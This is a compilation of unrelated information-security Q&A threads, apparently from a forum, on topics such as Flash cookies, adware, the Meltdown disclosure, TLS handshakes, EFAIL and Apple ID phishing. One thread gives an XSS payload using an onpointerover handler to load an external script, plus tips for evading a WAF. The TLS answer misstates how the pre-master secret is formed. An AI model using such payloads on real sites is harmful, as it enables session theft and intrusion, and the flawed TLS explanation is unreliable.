From a social engineering / design perspective, can you find a way to use a carrot approach rather than a whip approach? By that I mean give perks to users who have strong passwords (in a way that's not visible to other users, otherwise it's equivalent to public shaming for weak passwords which is actually worse). Maybe a small discount on membership fees or purchases, or in-service perks like small vanity features, more storage, priority queuing, wtv. I know MMOs have used this to great effect to help encourage the adoption of 2-Factor keys and strong passwords.


How much information a Flash program (Flash app) can gather about computer when running? Does anyone know if a Flash web application has access to local hard drive? What about OS information or hardware information?

If I allow webcam and microphone access, how much information can it get about hardware, OS and computer?

I'm asking because I'm worried how much information can 3rd party sites gather when I allow running flash applications. Especially if you allow microphone/camera access (such as chat roulette).

To answer your question, there are a number of elements that I will try to discuss as briefly as possible in order to have a better grasp of the whole issue. Note that I exclude totally any Adobe Flash vulnerabilities that may be a threat to the user's privacy as it is not what you are asking about.

Can I get hardware and operating system information with Flash?

You need to look to the Capabilities class and see what information it can get from your operating system and hardware. For instance, the cpuArchitecture property  specifies the current CPU architecture. The cpuArchitecture property can return the following strings: "PowerPC", "x86", "SPARC", and "ARM". The server string is ARCH. while the os property specifies the current operating system.

Note:
This paragraph does respond to the question whether such data may be sent using a Flash web application over Internet or not. That will be discussed later on.

What is a Flash web application?

A Flash web application is any SWF/FLV content that can vary from  a video you want to view on your browser to a full fledged and complex  application where Flash plays a very important role such as in sharedtalk.com
What are local shared objects?

The problem with running Flash web application (apart from the Flash vulnerabilities that you are not addressing here) resides in what we call local shared objects (LSOs) better known as Flash cookies. Flash cookies are relatively unknown (Schneier on Security: Flash Cookies).

While an HTTP stores only around 4KB of data, a Flash cookie contains up to 100KB data (ActionScript3.0 Cookbook). You can even enhance the storage capacity of a Flash cookie at your will. A Flash cookie is not stored in a file within the browser space but in a separate Adobe file with a .sol file extension: this means the browser has no control over Flash cookies and when you clear your browser's cookies, Flash cookies are still there on your computer (but there are tools to delete them).
Which content may be stored within a Flash cookie?

For HTTP cookies where contents are determined by the specific website that created that cookie. Contents vary from site to site. This applies for Flash cookies.

The Flash cookie is used generally to save user's settings (for example when you watch a video on Youtube and change the dimensions of the video screen: the dimensions are stored in the Flash cookie).
What are the main privacy issues inherent to LSOs?

Flash cookies contain the information that may be hold in an HTTP cookie and much more except the field related to expiration date: Flash cookies do not have an expiration date by default as it is the case with HTTP cookies (where the common practice of companies' websites set it usually set to 30 days); and one of the reasons for this is because when companies tracking users noticed that lot of users clear their cookies at least once per month lead  to overestimate  the number of true unique visitors to websites, and thus to the overpayment for advertising companies  (The  Impact of Cookie Deletion on the Accuracy of Site- Server and Ad-Server Metric s: An Empirical Comscore  Study).

But what is worse, is that a Flash cookie may recreate HTTP cookies you previously deleted (respawning cookie, persistent identification element)

Note that the less aggressibe LSO contains the globally unique identifier that identifies your computer for the web application that tracks you.
What is Flash hardware acceleration and why to mention it?

Hardware acceleration is  when you have hardware designed to accelerate a specific function. So, for example, when you decode or encode video you do it on the CPU. Some video cards allow you to do this on their GPU instead, so you now have "hardware accelerated video decoding". (What does “hardware acceleration” refer to?). Flash hardware acceleration is a hardware acceleration for Flash (Performance or display issues with certain Flash videos). In most browsers this feature is disabled by default, but activating it to better visualize a given web Flash application exposes you to reveal more information about your hardware.  But why to mention this? Because such information is stored in LSOs.
So may my OS and hardware information be leaked out?

I prefer to quote you this directly from the official documentation (Flash player help)

  Note that it is the person or company that has created
  the application you are using that is requesting such access, not
  Adobe (unless Adobe has created the application that wants to save the
  information). It is the responsibility of the person or company
  requesting access to make it clear to you why they want access and how
  they plan to use the information they save. You should be aware of the
  privacy policy of anyone who is requesting access to your computer.
  For example, see the Adobe privacy policy. Contact the website
  requesting access for information on their privacy policy.

Also, one important thing to read from that documentation:

  (Flash Player 8 and later) If you have downloaded SWF or FLV content
  to your computer, a dialog box might appear alerting you that the
  content is trying to communicate with the Internet. Flash Player 8 and
  later versions do not allow the local SWF or FLV content to
  communicate with the Internet, by default.

And since it is possible to retrieve both OS and hardware information using the Capibilities class described in the first point, and a Flash web application may require, under your permission as you can read from the same last link, more than 100KB, and if the web application is nefarious the definite answer to your question is that it is likely, I mean possible, to happen especially with a misinformed user about security issues.


How to protect external hard drive from tampering? I am looking to buy an external 1TB hard drive to store sensitive information on. External hard drives aren't (physically) small, and it may have to be left unattended at times.

What can I do to increase the hard drive security so that if any physical or software tampering is done, I would be able to detect it?

To protect against physical removal and later unauthorized access, just encrypt it completely using one of the available software like VeraCrypt (container-based or full encryption). In such a scenario getting it will make it not accessible anywhere.

On the software part, you will have to secure from unauthorized access the OS used to access the drive. If you have encrypted the drive and you must enter a password for it upon restarting the OS and you secure the OS against possible unlock scenarios you should be fine.


Google Chrome infected with Reimageplus One of the employees called me yesterday because he wasn't able to open any webpage. So I went to see the problem. I tried to load various urls with Google Chrome, but each time I did, the webpage was redirected to the reimageplus website, which was asking me to download software to repair Windows. I tried loading webpages with IE and there was no problem.

I deleted chrome and re-installed it. I also did a virus scan with Windows Defender.

I thought that this would never happen because the user does not have admin privileges.

What is the most likely cause of the infection and how can we prevent it in the future?

What is the most likely cause of the infection ...

When searching for reimageplus infection I get as the first hit Malware Tips: Remove Reimageplus.com pop-up ads (Virus Removal Guide). There the typical infection vector is described in the second sentence already.

  The adware responsible for the Reimageplus.com ads is bundled with other free software that you download off of the Internet. Unfortunately, some free downloads do not adequately disclose that other software will also be installed and you may find that you have installed adware without your knowledge.

And as another early hit from the same search MyAntiSpyware: Remove reimageplus.com pop-up ads (Instructions) explains:

  How does a computer get infected with reimageplus.com
  ... This adware is bundled within the installation packages from Softonic, Cnet, Soft32, Brothersoft or other similar web sites...

  I thought that this would never happen because the user does not have admin privileges. ... how can we prevent it in the future?

Installation of  software for a local user instead of a system wide installation does not need administrator privileges. You might need to educate your users about the dangers of downloading and running software they just found on the internet or got forwarded by mail. Depending on the security solutions you employ you might also prohibit software downloads.


evidence collection in incident response In incident response, should evidence collection be done before incident containment or after?
If both, when evidence collection should be done before and when should it be done after (examples are welcomed)?
NB: For evidence collection, I'm thinking more specifically about memory imaging.

In an security incident response situation, incident containment should come before evidence preservation. To give you an example, imagine a hack at your company. You would want to limit the ability of the hacker to compromise your company's system any more than he already did.

Only after the incident has been contained, would evidence preservation come into play. It is extremely important to preserve the integrity of the evidence such as dates/times , user logins etc... when collecting relevant data.


Why and where was Meltdown made public before schedule for the first time? Originally, Meltdown and Spectre had a coordinated disclosure date of January 9, 2018. Some vendors were preparing to release fixes at that time, and were caught by surprise when the vulnaribilities were made public earlier (as described here, for example). But why were they made public ahead of time and where?

The earliest reference to these vulnerabilities I could find is in this article from the Register, published on the 2nd of January. But it does not mention any sources other than:

  However, some details of the flaw have surfaced, and so this is what
  we know.

Do we know where these "details"  have surfaced for the first time and why they were made public ahead of the coordinated disclosure date?

I followed the news of these attacks with a lot of interest starting on Jan 3rd, and have done some digging back to see what else people had been saying prior to disclosure.

The embargo was officially broken on Jan. 3rd by this post from Google, followed shortly by a bundle of technical details in their Project Zero post.

In that first link they justify breaking the embargo by saying: "We are posting before an originally coordinated disclosure date of January 9, 2018 because of existing public reports and growing speculation in the press and security research community about the issue, which raises the risk of exploitation."

There were a number of reports that an aware observer could have picked up on prior to that date. The biggest "smoking gun" for a speculative execution exploit (that I'm aware of) was made when an AMD developer submitted a Linux patch on Dec. 26th, which is linked in the article you provide. To my knowledge that's the first time a public report directly connected speculative memory references to a possible attack and patchset. Prior to this an article at LWN on Dec. 20th suggested that the page table isolation patchest was really addressing a deeper security flaw, but no specific reference to speculative execution being the source of the problem.

People really started to pay attention on Dec. 28th-29th after the page table isolation patches were merged into the kernel by Linus. A change of this magnitude usually takes a lot longer to be applied to the mainline kernel, so this essentially announced to the world that there was indeed an embargoed vulnerability.

The internet started blowing up on Dec 30th and Jan 1st. grsecurity on Twitter was convinced that there was an embargo at least as early as the 28th, and on the 30th observed to the world that there were missing source code comments in the Linux patchset. python sweetness on Tumblr accurately predicted on Jan 1st that it was a hardware-based vulnerability in x86 that could do unprivileged memory reads, and speculated about the possible hypervisor attack based on the presence of employees of Amazon and Google being looped in.

Then, of course, the Register published their piece on Jan 2nd and the entire world was looped in. That article referenced AMD's Dec 26th patch and connected speculative execution to the undisclosed vulnerability.

There has been growing interest in the security research community about the vulnerability of modern microarchitectures. The Spectre paper cites no less than 12 other works about leaking data from inside the processor or L1 cache, and recent work from 2016 about exploiting branch predictors to bypass address space randomization arguably laid the foundations for Spectre. Anders Fogh's blog outlined some basic techniques for the attacks at the end of last July but reported a negative result. If you throw Fogh in there, that's three separate groups independently finding and reporting these specific vulnerabilities inside a single year.

The Spectre vulnerability in particular is a really big deal, meaning that they're going to be talking about it for a long-long-long time to come. My guess is that part of the desire to disclose early was to make sure they claim credit where it was due. Imagine if you were sitting on a game-changing vulnerability. You know that at least one other group has already independently discovered your vulnerability, and if you're up to date on your blogs you know that Fogh has been investigating the same. A sudden bout of press activity spooks you into thinking that a fourth person has discovered and was about to disclose the same vulnerability you'd been sitting on for a year!

What specifically caused Google's team to break the embargo we won't know. The Register's article is the obvious candidate, but the cat was really out of the bag once the page table isolation patches started moving in early December.


Purpose of client and server random numbers in SSL Handshake I could not understand why in the Client hello and Server hello in SSL Handshake client needs to send to server (publicly) a random number and vice versa.
From these numbers a Pre-Master secret will be generated and will be sent encrypted with server's public key. (As I see it, a random Pre-Master secret could have been generated from the beginning at client's side and be sent encrypted with server's public key)

Then, from this Pre-Master both can generate a new Master secret which will be the same in both sides.

Ok, maybe you will tell me that forward secrecy is the answer, but if man-in-the-middle records the session, he knows both random numbers, he knows the Pre-Master secret (let's say he figured out what is the server's private key), so he probably can generate the Master secret and decrypt all of the data.

So, what exactly are the purpose of these two random numbers? Why can't the client generate both 2 random numbers and send them to the server and one needs to be generated at client side while the other at server's side? Are those 2 numbers needs to be prime numbers or other thing?

The Pre-Master Secret is derived from the above random numbers (except where Diffie-Hellman is used). It is then encrypted with the Server's Public Key and sent to the Server. the catch is, this encrypted message can ONLY be decrypted by the Server's private key. so if an attacker knows/has the server's private key(the golden key), then its all over already - don't even bother with the TLS.

More information on the random numbers can be found on: Why does the SSL/TLS handshake have a client and server random?


Where to disclose a zero day vulnerability We discovered a vulnerability in wide range of Ricoh printers, where with a simple PostScript file sent directly, it is possible to crash the device.

To recover you need physical access to the printer and an administration account to clear the queue (otherwise, after the restart, the crash will occur again).

This offers a simple and quick denial of service attack. If you are in the right network, you can disable all the printers within seconds.

We tried to contact Ricoh for months (but we were more or less silently ignored) and we finally where able to speak with the responsible person in our country. He stated that he does not see the problem.

Given that we are following the rules of responsible disclosure (Ricoh was warned month ago) and that they clearly stated that they will not address the problem: where should we disclose the problem?

You should request a CVE ID from MITRE (https://cve.mitre.org/cve/request_id.html), which is the responsible CNA for this.

You can then disclose it on security mailing lists like Bugtraq or FullDisclosure. Security magazines and news sites might also be interested in the vulnerability. You can contact them directly and ask if they are interested to publish the vulnerability. Though they likely follow Bugtraq and FullDisclosure anyways.


Save application autostart login token on computer I need to login desktop application while autostart on server (like skype does). What is the best practice to save authentication token (password)? Should I use something like RSA encryption (which typically used for .config connectionstrings encryption in ASP.NET applications)?

The most secure generally available storage option that you're going to have on Windows is is the Windows Data Protection API (widely known by the acronym DPAPI.)   This is one of the options for managing the encrypted web.config file sections that you mentioned as an example.

DPAPI gives you user and machine specific encrypted storage for sensitive data, so even if the encrypted data is stolen, it can't be decrypted on another computer, and even if the attacker has access to the computer housing the encrypted data, it can't be decrypted without the correct user logging into Windows with the correct password.  It isn't foolproof, but it's a fairly strong mechanism and would be what I would probably choose in this situation.


Shamir's Secret Sharing Scheme - how standardised? I tested the 'ssss' package in Linux, an implementation of Shamir's secret sharing algorithm. link

The package is easy to use, and I presume that it is cryptographically valid implementation, though I have not personally verified that.
How standardised is this implementation? It appears that the package is quite old, which is probably a good sign. But I am wondering whether a version of Linux (or other OS) in ten or twenty years' time is likely to be able to recover the secret from the shares, or is it advisable to retain a copy of this specific implementation?
For example/comparison, I am very confident that some md5 algorithm will still be available for a long time on any pc, and produce identical results to a current implementation.

There is no really "standard" implementation, let alone output format, for such tools. Whatever you use, you'd better keep around its source code so that it may be recompiled or at least ported on the machine you will have twenty years from now.

I note that the code uses GMP, to make computations with big integers -- which means that it uses big integers, which implies that the code does not do things the easy and simple way. This is not, in all generality, a good sign. A good and practical implementation of Shamir's Secret Sharing should:

Use the sharing on a byte-by-byte basis.
Do computations in the finite field GF(256) (values fit in one byte, there is no bias or other similar issue, porting to any other language is easy).
Store shares in files, instead of strings to be typed and/or pasted.
Not be limited to 128 characters, which is sloppy. If you do the sharing on a byte-by-byte basis, you can split files or arbitrary length.


Detect SSL Interception To my knowledge my company performs SSL Interception.
Still if I visit a website I host, that uses a Let´s Encrypt certificate, the browser shows me my legit Let´s Encrypt cert.

To my understanding SSL Interception works like this:

My Client <----- encrypted with self signed cert from the firewall ----> Firewall (/w SSL Interception) <----- encrypted with the legit cert of the webiste----> HTTPS Webservice

Where the CA or Certificate that is used by the Firewall to intercept SSL has to be trusted by the Client (via GPO, etc.) and the browser of the client should show the interception certificate in the URL-bar.

So, is the SSL-Interception not working (i.e. misconfigured) or is it possible to do SSL-Interception with only the legit Certificate showing (from the Clients point of view)

It is not possible to do SSL interception with current TLS protocols without terminating the SSL connection at the interceptor and creating a new one. Since the interceptor does not have the private key of the original certificate a new certificate has to be used which is visible by the client.

In other words: giving the information that the certificate is not changed they are not doing SSL interception at the moment, at least for this specific site. If they don't do it because of malconfiguration, site specific exceptions or whatever is unknown.


Id token contains sensitive information sent by the GET method I've found that my website is using id_token and it contains user's information. One of that is my phone number which I think it could be a sensitive information. Because, if the attackers are able to capture the request, they get my id_token and decode it. They have my email (obviously) and my phone number which I think should not be there. I'm confused that if my phone number gets disclosed, is that considered a vulnerability?

email: "weixxx@xxx.com",
 email_verified: false,
 phone_number: "+372591114xxx",
 firebase: {
  identities: {
   phone: [
    "+372591114xxx"
   ],
   email: [
    "weixxx@xxx.com"
   ]
  },
  sign_in_provider: "custom"
 }
}.
[signature]

Passing sensitive or personal information as query parameters is generally considered a problem, as it is revealed in many ways that POST data isn't.  See for instance the similar question "Should sensitive data ever be passed in the query string?"  OWASP has a short description of the problem: Information exposure through query strings in url.

The main problems are generally considered to be

Bookmarks and browser history if someone has access to the browser
Access logs at the intended recipient of the query (or any proxies between you and the recipient)
That the query parameters are included in the "referer" header sent to other servers.

What makes this case particularly interesting is that the information in question is actually a signed ID token.  It can conceivably be used to authenticate the users at other service providers (though this requires a broken implementation at a service provider, a type of confused deputy problem).

Including ID tokens in this manner is actually encouraged by the OpenID Connect standard, as the id_token_hint.  It can be POSTed, but most implementations (few as they are) that I have seen, use query parameters.  So having the developers of your service change this could be challenging.


Whitelist VPN provider's IP address in cloud service provider I wonder how safe is it to whitelist honorable VPN service provider's IP (for example NordVPN) in, for example Azure/AWS to use RDP/SSH? Is it any better then whitelisting local ISP's IP assigned to me?

While restricting the address space that is allowed to access the ports is always a good idea, both your options are equivalent, generally speaking.

If your local ISP has as many customers as the VPN provider - or both numbers are in the same ballpark - you have equivalent security gains if the ISP uses an IP pool where you regularly get a new IP from that pool. There's one thing to consider though: VPN providers allow access from everywhere for basically everyone who wants. This is either a pro for you while you travel and do not have an IP from your local ISP assigned or a pro for an adversary that is not able to get service from your local ISP.

If restrictions on the ACL are so wide, either way, you should still consider the ports public and use public key authentication rather than password authentication and keep your machine up to date.

If you only use the currently assigned ISP's IP or if your ISP does not use a pool, you'd be better off using that IP to whitelist.

If you need to access the services while away, you might host a VPN proxy in your home network


Is there an implementation of a trust on software on a host? What I'm after is a trust that is established between the hardware and the software intended to use that hardware.

This may require a certificate "burned in" to a specialized chip. The open SSL may need the same treatment.

On installation, the trust is formed, and unless you authenticate with a user key to the hardware key, you can't install anything.

Did I miss some reading out there where this is already done?

What you're describing is pretty much what "truted computing" is about: a tamper-resistant TPM chip contains an RSA key baked into it by the manufacturer.

You can achieve similar result using other type of tamper-resistant cryptographic storage (HCM, smartcards, DRM dongle, etc) where private keys are stored on specialized hardware and, theoretically, impossible to extract or duplicate.


Generate Keytool Object from CSR I have to develop an application which uses another application for generating a CSR. After generating the CSR I have to provide this CSR along with a SHA256 hash of the public key to a CA. The problem is the application which generates the CSR doesn't generate the hash.

How do I generate the hashcode?

Can I create a keystore object using this particular CSR and then extract the hash from it?

Or can anyone suggest any other technique?

Or is it not possible to generate the keystore object from an existing CSR?

I suppose that by CSR you mean a Certificate Request. A certificate request is something that is meant to be sent to a Certification Authority so that the CA may turn it into a Certificate. The request shall contain everything that the CA needs for that, i.e. everything that the CA cannot infer or generate by itself.

One critical piece of a certificate is the public key. In a PKI, the two usual emplacements for key pair generation is on the requester or on the CA: either the requester generates his own key pair and sends the public part to the CA as part of his request, or the CA generates the key pair and will send the private key to the requester along with the certificate. I assume that you mean the former: your "CSR generating tool" actually generates a key pair, and puts the public key in a certificate request.

There are several standard formats for certificate requests. A very common format is PKCS#10. If your problem indeed involves a PKCS#10 request containing a public key, which is to be extracted, then it is "just" a matter of locating the public key in the bunch of bytes. PKCS#10 uses ASN.1, with the structures defined in the RFC:

CertificationRequest ::= SEQUENCE {
     certificationRequestInfo CertificationRequestInfo,
     signatureAlgorithm AlgorithmIdentifier{{ SignatureAlgorithms }},
     signature          BIT STRING
}

CertificationRequestInfo ::= SEQUENCE {
     version       INTEGER { v1(0) } (v1,...),
     subject       Name,
     subjectPKInfo SubjectPublicKeyInfo{{ PKInfoAlgorithms }},
     attributes    [0] Attributes{{ CRIAttributes }}
}

SubjectPublicKeyInfo { ALGORITHM : IOSet} ::= SEQUENCE {
     algorithm        AlgorithmIdentifier {{IOSet}},
     subjectPublicKey BIT STRING
}

So the PKCS#10 request is a SEQUENCE whose first field is a CertificateRequestInfo structure, another SEQUENCE whose third field is a SubjectPublicKeyInfo, which contains the public key that you are looking for. THe public key consists in an identifier for the type of key, and the encoded key value itself.

Your task is now a matter of decoding. Parsing ASN.1/DER with custom code is doable, but requires care. You'd better use some existing library which will do all the hard job for you. OpenSSL can help; see its PEM_read_bio_X509_REQ() function for decoding, then X509_REQ_get_pubkey() (though it must be said that the OpenSSL documentation can be a bit daunting).

An important point is that a public key is a collection of a few mathematical objects, while a hash function takes as input a sequence of bits. So, in order to hash the public key, some sort of encoding must happen, and if you want to compute the right hash value, you must encode the key in exactly the way required by your situation (you say that you "have to provide... a SHA256 hash of the public key": I suppose that you have some sort of formal requirement which describes the exact format with all needed clarity).


Xss payload with onpointerover? I bypassed a WAF and found an XSS vulnerability using the onpointerover event handler. In the page where I found the vulnerability, there's also a login page.

What XSS payload can I use with the onpointerover to load an external javascript file inside the page?

Something like: onpointerover="load.external.javascript/file.js"

onpointerover is just an event that requires an event handler which you can specify inline as:

onpointerover = (event) => { document.write('<script type="text/javascript" src="your_external_js"></script>'); };

Or alternatively document.getElementById('the_id').innerHTML("<script>...</script>") etc...

I'm assuming your WAF evasion is based on JavaScript keywords in which case you'll need to tinker with the word script as it could get blocked. Try adjusting the case or encoding it if that's the case eg: ScRiPt etc...

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet


What actions should I, as an end user, take in response to EFAIL? There's a lot of talk about EFAIL:

  The EFAIL attacks exploit vulnerabilities in the OpenPGP and S/MIME standards to reveal the plaintext of encrypted emails. In a nutshell, EFAIL abuses active content of HTML emails, for example externally loaded images or styles, to exfiltrate plaintext through requested URLs.

So, what should I as an end user do in response to this? Should I immediately stop sending and/or recieving encrypted email? Or perhaps all emails? Or stop using PGP for anything at all? Is there some quick fix? Patches to install? And if so, patches to what? Other actions to take?

Note that this is a question about what to do as an end user. It's not about the inner workings of the vulnerability or how to fix the problem on the protocol level.

Notably, PGP is not the problem.  The problem lies with the mail handling apps in your browser which you have allowed to use your PGP keys.  Those browser apps decrypt the message as they should, but inside that message in addition to your secret is a trojan URL which is an attackers site.  Your browser app stupidly tried to connect to the URL which has your secret appended at the end.

For most people the most practical method is (from your link):

  Short term: Disable HTML rendering. The EFAIL attacks abuse active
  content, mostly in the form of HTML images, styles, etc. Disabling the
  presentation of incoming HTML emails in your email client will close
  the most prominent way of attacking EFAIL. Note that there are other
  possible backchannels in email clients which are not related to HTML
  but these are more difficult to exploit.

Then any URL in the decrypted message will appear as text, including the trojan URL.  Almost certainly would you be able to look at the URL and know something was wrong.  If nothing was wrong, and if your mail program has a button to to allow you toggle HTML view for that single mail, you would then be able to safely read the mail.

The other method suggested:

  Short term: No decryption in email client. The best way to prevent
  EFAIL attacks is to only decrypt S/MIME or PGP emails in a separate
  application outside of your email client. Start by removing your
  S/MIME and PGP private keys from your email client, then decrypt
  incoming encrypted emails by copy & pasting the ciphertext into a
  separate application that does the decryption for you. That way, the
  email clients cannot open exfiltration channels. This is currently the
  safest option with the downside that the process gets more involved.

could be more difficult.  On a cell phone it could be very very difficult.
On a laptop or desktop, it depends on how easy it would to set up the non-browser app, or have someone do it for you.  The fiddly time spent cutting and pasting depends on how many encrypted messages you have to process.

You would also want to be careful that the non-browser app doesn't automatically try to contact the URL.

EDIT: Adding quotes to message won't protect your sent encrypted mail.  Thanks to @Anders for pointing out the reference.


What's the difference between frame-ancestors and child-src? Both options seem to control who can embed the content in an <iframe> tag, just like X-Frame-Options does. Chrome and Safari are deprecating this header (partially, allow-from for instance), so it's a matter of time that it will no longer used by Firefox and Edge as well, so only Content-Security-Policy will be available.

I've been doing some tests, and the same result (block / allow specific domain) is achieved by using either of those options, so, what's really the difference between them?

Expecting some usage examples where one is useful and the other it's not.

If someone else is interested, given two sites A and B, if B has an iframe of A:

B
+-------------+
|             |
|   A         |
|   +------+  |
|   |      |  |
|   |      +-------> frame-ancestors B;
|   +------+  |
|             |
+-----+-------+
      |
      |
      +------------> child-src A;

A's frame-ancestors must contain B
B's child-src must contain A

So, frame-ancestors is used when you want that a site is able to load your site in an iframe, while child-src is used when you want to allow your site to be able to load a specific site in an iframe.


Can malware migrate between OSes on the same machine? Someone here at work just made an interesting claim; they stated that it's possible for malware, launched in e.g. Windows, to remain in RAM through a reboot and continue working in Linux on the machine when it boots.

Are they right? I'm almost certain that's impossible, but am happy to be corrected.

They are not correct. Anything left in memory after the machine reboots, even if not overwritten, won't be active. This is because there is no code in any used operating system which looks in unallocated space in memory and executes anything that looks like code. While it is possible for specially designed malware to be cross-platform and to infect another operating system by virtue of having access to the storage device it resides on, it will not be able to persist an infection by staying in memory after reboot. For a more comprehensive description of the boot process, see System Initialization (x86) - OSDev.

Note that this only applies to system memory. In theory, malware that runs on the GPU may persist across reboot. The reason for this is that a warm reboot just resets the CPU. It does not power cycle peripherals, so a discrete GPU will still be executing code and retaining memory throughout the boot process. Malware that is made to run on the GPU may then use direct memory access to re-insert the malicious code in the main operating system. However, this will be fairly hardware-specific, and will not work if the device is booted up from a cold state (i.e. power is actually cut, including to the GPU).


Dangers of PHP uploading word docs into a quarantine I plan to write a PHP script which will allow web users to upload MS Word formatted docs. Here are the precautions I am taking:

Filenames will be created by me (something like YYYY-MM-DD.doc)
Files will have 600 or lower permissions.
Files will not be touched until they're downloaded via FTP.
File size is limited.

I've been looking into ways to verify that a file is a valid word doc, but the strategies all seem flawed and very time consuming. Once they are downloaded to a computer for review, I let the computer's antivirus take over in case of a valid word doc that is somehow infected.

Does placing the files in a sort of quarantine, as outlined above, mitigate the dangers of not verifying that its word formatted?

What dangers are you worried about?

Are you worried about dangers to the server?  If so, the precautions seem adequate: nothing you're doing is treating the files as anything but a collection of bytes, so even a file with a harmful payload won't do anything to the server.

Are you worried about dangers to other computers?  If so, your precautions are inadequate, but verifying that the files are Word documents won't help much: custom-built malware can get past an antivirus scanner, and even valid Word documents can carry malware.

Are you worried about your server being used to transmit illegal material?  In this case, you'll need to do deep, possibly manual, inspection of uploads, because a Word document can embed images, or can carry classified information, or...


Sniffing router's WiFi traffic Let's say someone already has my key and is logged in my wifi network and also has access to my router. Catching the four-way handshake for the hacker is important to see my web traffic. If he wants to see my traffic/log from the router I suppose it's the same thing: he also has to catch the four-way handshake right?

If the attacker have control of your wifi router he/she just need to capture the traffic with tcpdump on the corresponding network device.


Showing bank routing/account numbers, and storing them safely EDIT: This is for the UK/Europe region.

I've been scratching my head reading other posts similar to this one about safely storing bank routing and account numbers. I know that routing numbers can be plaintext in a database, as they are publicly available. I'm concerned about storing the account number however. I also know that you cannot really get anything from a bank account with just the routing and account numbers.

I know that this information does not fall under PCI standards. We currently have a hosted business web application and database on the same server, and we would like to store some account details here for some of our employees to refer to when doing invoices, etc. We do have a fully enabled role/permission based system, so we can limit who this information is available to.

My main concern is our mail shots for this information. AFAIK, we have to send a confirmation letter to the customer when any part of their account changes (such as collection dates, etc.), or they make a new one. On this letter, the bank account number should appear. We also want this information to be available to the customer on their online portal account (built by us). Is it safe to store the account number as-is (plain), and ONLY include the full number on the paper letter? The online version could be partially or fully obscured by the server, so that it never appears in-browser.

Or am I over-thinking this and going too far? OR would it be better to just walk away from this and stress the word NO to my superior?

It depends on the bank's  security in general. Europe is better than the US, but there are stories of forged debits in the UK as well where they only used basic information.

If you are worried about routing numbers and account numbers (as leaking a database can be a PR nightmare regardless if the info regards financial information), you could opt for a second instance of your application for internal users only (and a shared database, just be careful of race conditions).

You can then use assymetric encryption to store the sensitive information in the database and put the public key in the instance for clients (where the information is encrypted when sent to the database) and the private key for decryption in the backend system. That way the frontend exposed to clients can only encrypt information.


The security of IP whitelisting large ranges I am not a network expert but;  a recent conversation has come up with a client asking to whitelist a range of ip's (let's say 250 odd for now) to transfer their data to us for processing.
I should add here that we would provide an IP address to the client and we would whitelist their IP. It's not a 'here's our domain name to search for' deal.

Networks are uncomfortable with doing this as (I quote) it shreds the firewall.
A member of security has justified saying no by saying DNS attacks might occur.

Can someone help enlighten me why whitelisting a large range or even just a range of ip's is bad and what the technical rationale is.

The DNS explanation seems irrelevant to what's actually occurring and IP whitelisting is a valid defence. What's the real issue or threat?

Is it just that we need to couple additional defences on a ngfw to offset this?

Anyone who's enlightened, please help me!

Can someone help enlighten me why whitelisting a large range or even just a range of IP's is bad and what the technical rationale is.

Whitelisting 250 IP's is a work so light the firewall will barely notice. Blacklisting or whitelisting is something firewalls do all the time. I have a 256MB VPS with around 50,000 rules (blocking entire countries, and blocking any attacker for a day via fail2ban and portsentry) and the load on it is almost the same when the firewall is up or down.

Whitelisting those addresses will not shred the firewall, not incur any extra load, except maintenance load: someone have to add the rules, document them, and maintain them. Besides that, isn't making any difference.

Just make sure to get the rules correct. Specify on the whitelist the origin IP (or network) and respective destination IP and port. Don't just add a rule allowing the customer to connect to every IP and port, that would be a lazy and dangerous rule.

  The DNS explanation seems irrelevant to what's actually occurring and IP whitelisting is a valid defence. What's the real issue or threat?

DNS has not anything to do with it at all. You are whitelisting an IP address, not a domain. So no matter what the domain responds for that IP, your firewall doesn't care. DNS rebinding, DNS takeover, no matter the DNS attack, it will occur on a layer above the firewall, so it does not matter.

  Is it just that we need to couple additional defences on a ngfw to offset this?

No, your firewall will do it just fine. It's the job of the most rudimentary of the firewalls, you don't need an extra more modern firewall.


My Apple ID has been compromised. What do I do? Update: Called Apple today and according to them they could not get an IP-address from user logins or was not allowed to give that out. They also said that I would be able to see any message that had been sent from iMessage on any other logged in device. Since I did not see anything the attacker did not send any messages.
Original: First of all I hope this question fits the scope of "can be answered, not just discussed" and I don't want this to be closed as too broad so this is strictly Apple ID even if it in most cases can be the same for other online accounts.
Background story is I was using the iPhone (4) five years ago but has since been using Android. Two weeks ago I decided to go back and try out the new iPhone 7+ since Samsungs recent phones have been burning up.
I then received an email containing the following information earlier this evening. It was in Swedish but it should look like this in English:
Subject:

Your Apple ID was used to sign in to iMessage on an iPhone 6

Message:

Your Apple ID () was used to sign in to iMessage on an iPhone 6 named
"iPhone".
Date and Time: November 12, 2016, 13.44 PST
Operating System: iOS 9.2.1
If the information above looks familiar, you can disregard this
email.
If you have not recently signed in to an iPhone 6 with your
Apple ID and believe someone may have accessed your account, go to
Apple ID (https://appleid.apple.com) and change your password as soon
as possible.
Apple Support

If anyone thinks this is a phishing email like this, all URL links led to apple.com or a sub domain of apple.com. I think this was real. I acted on it 10 minutes after receiving it, immediately after reading.
My first actions were the following:

Login to my account and reset the current password. This required
answering my security questions which should have slowed a hacker
down.
Check the Account tab so that no other email address or phone number was added as back up email or rescue email. This was not the case.
Check the Devices tab for signed in devices at:
https://appleid.apple.com/account/manage. I could only see my device
there and not an iPhone 6.
Check credit card for any transaction, nothing here. Turned out my account had an expired credit card anyway but It could have been an active one.
Check order information to see that nothing has been ordered in my name. Nothing here either.
Check iMessage if anything had been written, nothing.
Check iCloud for back up of attackers iPhone, nope.
Check Find My iPhone on icloud.com for attackers iPhone, no luck.
Looked for an email to contact Apple but it seems phone was the only alternative. Since nothing has happened on the account I decided not to call.
Tried to set up two-step verification but since my password had been
changed I was not allowed to do that. Will do as soon as it is possible:

"You must wait 3 days before enabling two-step verification. For
security reasons, you cannot set up two-step verification immediately
after significant changes have been made to your account. This helps
ensure that only the owner of this Apple ID can set up two-step
verification.
A notification email will be sent to all addresses on file in your
account."

Luckily I had a unique password for my Apple ID so no other service should be compromised. I normally use a complex generated password in a password manager but I had not started using that five years ago when the account was created and I did not update the password since it was unique anyway. I'm also using two step verification wherever I can normally but I had not yet implemented it here.
Have I forgotten anything to do and can I do anything more to track this down?

I received a near identical email and at first thought it was legit from Apple too.  The use of genuine Apple links in the footer and the genuine Apple ID URL (https://appleid.apple.com) are very convincing.

However, if you hover your mouse over that URL in the message (on a Mac or Windows - can't do it in iOS), you will find that the hyperlink hiding behind it is actually to a phishing site, not the the Apple ID URL.

The three day delay for two-factor authentication doesn't sound right to me also.  I suspect that you have been phished and that the phisher has included that to stop people immediately blocking use of the Apple ID/password combination.


